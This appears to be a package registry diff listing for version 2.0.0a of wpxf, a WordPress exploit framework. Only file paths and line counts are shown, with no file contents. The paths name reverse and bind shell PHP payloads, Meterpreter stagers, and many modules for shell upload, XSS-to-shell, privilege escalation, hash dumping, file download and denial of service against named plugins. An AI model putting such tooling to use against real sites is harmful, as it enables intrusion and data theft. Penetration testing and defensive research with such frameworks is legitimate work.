wpxf 2.0.0a
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/bin/wpxf +52 -0
- data/data/banners/default.txt +16 -0
- data/data/js/ajax_download.js +33 -0
- data/data/js/ajax_post.js +18 -0
- data/data/js/create_wp_user.js +24 -0
- data/data/js/post.js +20 -0
- data/data/json/browser_usage_by_frequency.json +64 -0
- data/data/json/commands.json +116 -0
- data/data/php/bind_php.php +43 -0
- data/data/php/download_exec.php +36 -0
- data/data/php/exec.php +3 -0
- data/data/php/exec_methods.php +47 -0
- data/data/php/meterpreter_bind_tcp.php +1 -0
- data/data/php/meterpreter_bind_tcp_ipv6.php +1 -0
- data/data/php/meterpreter_reverse_tcp.php +1 -0
- data/data/php/preamble.php +17 -0
- data/data/php/reverse_tcp.php +76 -0
- data/db/config.yml +17 -0
- data/db/env.rb +19 -0
- data/db/migrations/001_create_workspaces.rb +15 -0
- data/db/migrations/002_create_credentials.rb +20 -0
- data/db/migrations/003_add_credential_type.rb +13 -0
- data/db/migrations/004_add_unique_workspace_name_index.rb +19 -0
- data/db/migrations/005_add_logs.rb +16 -0
- data/db/migrations/006_create_modules.rb +18 -0
- data/db/migrations/007_create_loot_items.rb +21 -0
- data/lib/wpxf.rb +54 -0
- data/lib/wpxf/cli/auto_complete.rb +121 -0
- data/lib/wpxf/cli/banner.rb +47 -0
- data/lib/wpxf/cli/console.rb +146 -0
- data/lib/wpxf/cli/context.rb +35 -0
- data/lib/wpxf/cli/creds.rb +56 -0
- data/lib/wpxf/cli/help.rb +125 -0
- data/lib/wpxf/cli/loaded_module.rb +67 -0
- data/lib/wpxf/cli/loot.rb +81 -0
- data/lib/wpxf/cli/module_cache.rb +59 -0
- data/lib/wpxf/cli/module_info.rb +62 -0
- data/lib/wpxf/cli/modules.rb +94 -0
- data/lib/wpxf/cli/options.rb +105 -0
- data/lib/wpxf/cli/output.rb +110 -0
- data/lib/wpxf/cli/workspace.rb +80 -0
- data/lib/wpxf/core.rb +18 -0
- data/lib/wpxf/core/data_file.rb +27 -0
- data/lib/wpxf/core/event_emitter.rb +30 -0
- data/lib/wpxf/core/module.rb +140 -0
- data/lib/wpxf/core/module_authentication.rb +48 -0
- data/lib/wpxf/core/module_info.rb +74 -0
- data/lib/wpxf/core/options.rb +175 -0
- data/lib/wpxf/core/opts/boolean_option.rb +37 -0
- data/lib/wpxf/core/opts/enum_option.rb +15 -0
- data/lib/wpxf/core/opts/integer_option.rb +74 -0
- data/lib/wpxf/core/opts/option.rb +121 -0
- data/lib/wpxf/core/opts/path_option.rb +15 -0
- data/lib/wpxf/core/opts/port_option.rb +25 -0
- data/lib/wpxf/core/opts/string_option.rb +33 -0
- data/lib/wpxf/core/output_emitters.rb +67 -0
- data/lib/wpxf/core/payload.rb +135 -0
- data/lib/wpxf/db.rb +17 -0
- data/lib/wpxf/db/credentials.rb +37 -0
- data/lib/wpxf/db/loot.rb +19 -0
- data/lib/wpxf/helpers/export.rb +48 -0
- data/lib/wpxf/models/credential.rb +29 -0
- data/lib/wpxf/models/log.rb +22 -0
- data/lib/wpxf/models/loot_item.rb +37 -0
- data/lib/wpxf/models/module.rb +32 -0
- data/lib/wpxf/models/workspace.rb +28 -0
- data/lib/wpxf/modules.rb +62 -0
- data/lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb +129 -0
- data/lib/wpxf/modules/auxiliary/dos/long_password_dos.rb +141 -0
- data/lib/wpxf/modules/auxiliary/dos/post_grid_file_deletion.rb +67 -0
- data/lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb +83 -0
- data/lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb +54 -0
- data/lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb +68 -0
- data/lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb +41 -0
- data/lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb +41 -0
- data/lib/wpxf/modules/auxiliary/file_download/cp_image_store_arbitrary_file_download.rb +82 -0
- data/lib/wpxf/modules/auxiliary/file_download/direct_download_for_woocommerce_file_download.rb +60 -0
- data/lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb +169 -0
- data/lib/wpxf/modules/auxiliary/file_download/ghost_unrestricted_export_download.rb +85 -0
- data/lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb +50 -0
- data/lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb +42 -0
- data/lib/wpxf/modules/auxiliary/file_download/mail_masta_unauthenticated_local_file_inclusion.rb +48 -0
- data/lib/wpxf/modules/auxiliary/file_download/membership_simplified_arbitrary_file_download.rb +50 -0
- data/lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb +41 -0
- data/lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb +42 -0
- data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_disclosure.rb +79 -0
- data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_download.rb +69 -0
- data/lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb +43 -0
- data/lib/wpxf/modules/auxiliary/file_download/site_editor_file_download.rb +53 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb +42 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_hide_security_enhancer_file_download.rb +51 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb +141 -0
- data/lib/wpxf/modules/auxiliary/file_download/wp_vault_file_download.rb +46 -0
- data/lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb +43 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb +59 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/gallery_album_hash_dump.rb +61 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/jtrt_responsive_tables_hash_dump.rb +69 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/registrationmagic_hash_dump.rb +62 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/simple_ads_manager_hash_dump.rb +67 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb +69 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb +59 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_csv_importer_user_extract.rb +133 -0
- data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_product_catalogue_hash_dump.rb +60 -0
- data/lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb +106 -0
- data/lib/wpxf/modules/auxiliary/info/download_monitor_log_export.rb +111 -0
- data/lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb +103 -0
- data/lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb +86 -0
- data/lib/wpxf/modules/auxiliary/info/user_meta_manager_information_disclosure.rb +96 -0
- data/lib/wpxf/modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb +53 -0
- data/lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb +60 -0
- data/lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb +86 -0
- data/lib/wpxf/modules/auxiliary/misc/email_users_csrf_bulk_mail.rb +89 -0
- data/lib/wpxf/modules/auxiliary/misc/qards_local_port_scan.rb +66 -0
- data/lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb +124 -0
- data/lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb +107 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb +125 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_authenticated_privilege_escalation.rb +71 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_privilege_escalation.rb +92 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/easy_cart_privilege_escalation.rb +92 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/platform_privilege_escalation.rb +93 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb +154 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb +76 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb +57 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb +92 -0
- data/lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb +117 -0
- data/lib/wpxf/modules/exploit/rfi/advanced_custom_fields_remote_file_inclusion.rb +98 -0
- data/lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/rfi/flickr_picture_backup_rfi_shell_upload.rb +94 -0
- data/lib/wpxf/modules/exploit/rfi/gwolle_guestbook_remote_file_inclusion.rb +96 -0
- data/lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb +90 -0
- data/lib/wpxf/modules/exploit/shell/accesspress_anonymous_post_pro_shell_upload.rb +71 -0
- data/lib/wpxf/modules/exploit/shell/acf_frontend_display_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/shell/adblock_blocker_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/shell/admin_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/shell/aries_revslider_shell_upload.rb +17 -0
- data/lib/wpxf/modules/exploit/shell/avada_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/awake_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/beach_apollo_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/bretheon_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/centum_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/charity_theme_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/shell/construct_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/creative_contact_form_shell_upload.rb +82 -0
- data/lib/wpxf/modules/exploit/shell/delete_all_comments_shell_upload.rb +65 -0
- data/lib/wpxf/modules/exploit/shell/designfolio_plus_shell_upload.rb +50 -0
- data/lib/wpxf/modules/exploit/shell/divi_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb +174 -0
- data/lib/wpxf/modules/exploit/shell/echelon_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/elegance_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/shell/evo_theme_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/shell/front_end_file_upload_and_manager_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/shell/fusion_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/gallery_pro_theme_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb +92 -0
- data/lib/wpxf/modules/exploit/shell/holding_pattern_shell_upload.rb +56 -0
- data/lib/wpxf/modules/exploit/shell/inboundio_marketing_shell_upload.rb +82 -0
- data/lib/wpxf/modules/exploit/shell/incredible_wp_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/infusionsoft_shell_upload.rb +76 -0
- data/lib/wpxf/modules/exploit/shell/mailcwp_authenticated_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/shell/mailcwp_unauthenticated_shell_upload.rb +51 -0
- data/lib/wpxf/modules/exploit/shell/mailpoet_newsletters_shell_upload.rb +90 -0
- data/lib/wpxf/modules/exploit/shell/manbiz2_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/medicate_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/method_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/micro_theme_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/shell/mobile_app_builder_shell_upload.rb +31 -0
- data/lib/wpxf/modules/exploit/shell/mobile_app_native_v3_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/shell/mobile_friendly_app_builder_shell_upload.rb +29 -0
- data/lib/wpxf/modules/exploit/shell/modular_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/myriad_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb +82 -0
- data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_v1.9_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/shell/neosense_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb +83 -0
- data/lib/wpxf/modules/exploit/shell/participants_database_v1.5.4.8_shell_upload.rb +153 -0
- data/lib/wpxf/modules/exploit/shell/persuasion_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/photo_album_plus_xss_shell_upload.rb +89 -0
- data/lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb +128 -0
- data/lib/wpxf/modules/exploit/shell/premium_seo_pack_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/shell/reflex_gallery_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/shell/revslider_shell_upload.rb +93 -0
- data/lib/wpxf/modules/exploit/shell/seabird_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/showbiz_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/simplecart_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/shell/soulmedic_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/striking_r_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb +110 -0
- data/lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb +85 -0
- data/lib/wpxf/modules/exploit/shell/tevolution_shell_upload.rb +50 -0
- data/lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb +132 -0
- data/lib/wpxf/modules/exploit/shell/ultimate_product_catalogue_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/shell/ultimatum_revslider_shell_upload.rb +15 -0
- data/lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb +70 -0
- data/lib/wpxf/modules/exploit/shell/webapp_builder_shell_upload.rb +29 -0
- data/lib/wpxf/modules/exploit/shell/windows_desktop_and_iphone_photo_uploader_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/shell/woocommerce_amazon_affiliates_v8_shell_upload.rb +81 -0
- data/lib/wpxf/modules/exploit/shell/woocommerce_product_addons_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/shell/work_the_flow_shell_upload.rb +57 -0
- data/lib/wpxf/modules/exploit/shell/wp2android_shell_upload.rb +29 -0
- data/lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/shell/wp_marketplace_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/shell/wp_support_plus_responsive_ticket_system_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/shell/wpshop_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/shell/wptouch_authenticated_shell_upload.rb +66 -0
- data/lib/wpxf/modules/exploit/shell/wsecure_lite_shell_upload.rb +57 -0
- data/lib/wpxf/modules/exploit/xss/reflected/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/admin_custom_login_reflected_xss_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/xss/reflected/adsense_plugin_reflected_xss_shell_upload.rb +21 -0
- data/lib/wpxf/modules/exploit/xss/reflected/affiliate_ads_builder_xss_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/xss/reflected/affiliatewp_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ajax_random_post_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_wp_security_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/alpine_photo_tile_for_instagram_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/anti_plagiarism_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/anyvar_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/atahualpa_reflected_xss_shell_upload.rb +66 -0
- data/lib/wpxf/modules/exploit/xss/reflected/backup_guard_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/brafton_content_importer_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_featured_posts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_google_analytics_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_google_maps_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_latest_posts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_linkedin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_panel_reflected_xss_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_pinterest_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_popular_posts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_portfolio_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_smtp_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/bws_testimonials_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/caldera_forms_v1.5.4_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/captcha_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/car_rental_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/check_email_reflected_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/reflected/claptastic_clap_button_reflected_xss_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/xss/reflected/code_snippets_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/colorway_reflected_xss_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/xss/reflected/concours_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/connections_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/contact_form_multi_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/contact_form_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/contact_form_to_db_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/content_grabber_reflected_xss_shell_upload.rb +43 -0
- data/lib/wpxf/modules/exploit/xss/reflected/content_slide_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/csv_import_export_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/csv_import_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_admin_page_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_fields_search_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_map_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_metas_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_permalinks_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/custom_search_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/defa_online_image_protector_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/donate_button_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/duplicator_csrf_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/easy_contact_form_builder_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/emag_marketplace_connector_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/email_queue_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/email_users_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/enhanced_tooltip_glossary_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/error_log_viewer_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb +111 -0
- data/lib/wpxf/modules/exploit/xss/reflected/facebook_button_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/faq_wd_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/formbuilder_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gallery_categories_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gallery_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_analytics_dashboard_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_captcha_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_maps_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_one_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_shortlink_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/google_sitemap_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/hdw_tube_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/hero_maps_pro_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/htaccess_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/huge_it_image_gallery_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/import_woocommerce_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/impress_listings_reflected_xss_shell_upload.rb +87 -0
- data/lib/wpxf/modules/exploit/xss/reflected/indexisto_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/infusionsoft_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/instagram_feed_csrf_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/instalinker_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/job_board_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/job_manager_reflected_xss_shell_upload.rb +55 -0
- data/lib/wpxf/modules/exploit/xss/reflected/leenkme_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/lightbox_reflected_xss_shell_upload.rb +64 -0
- data/lib/wpxf/modules/exploit/xss/reflected/limit_attempts_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/link_library_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/magic_fields_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/mailchimp_for_wp_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_reflected_xss_shell_upload.rb +49 -0
- data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_v272_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/master_slider_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/maxbuttons_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/minimax_page_layout_builder_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/msmc_redirect_after_comment_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/multilanguage_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/new_year_firework_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ninja_forms_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/no_external_links_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ocim_mp3_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pagination_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pdf_print_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/xss/reflected/photo_gallery_xss_shell_upload.rb +46 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pinterest_feed_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pondol_form_to_mail_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb +32 -0
- data/lib/wpxf/modules/exploit/xss/reflected/popcash_integration_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/popup_maker_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/portfolio_reflected_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/reflected/post_to_csv_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/profile_builder_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/profile_extra_fields_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/promobar_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/quiz_and_survey_master_reflected_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/reflected/quotes_and_tips_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/quotes_collection_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/rating_bws_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/re_attacher_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/realty_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/registrationmagic_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/relevant_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/responsive_lightbox_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/rockhoist_badges_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/sender_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/simpel_reserveren_reflected_xss_shell_upload.rb +34 -0
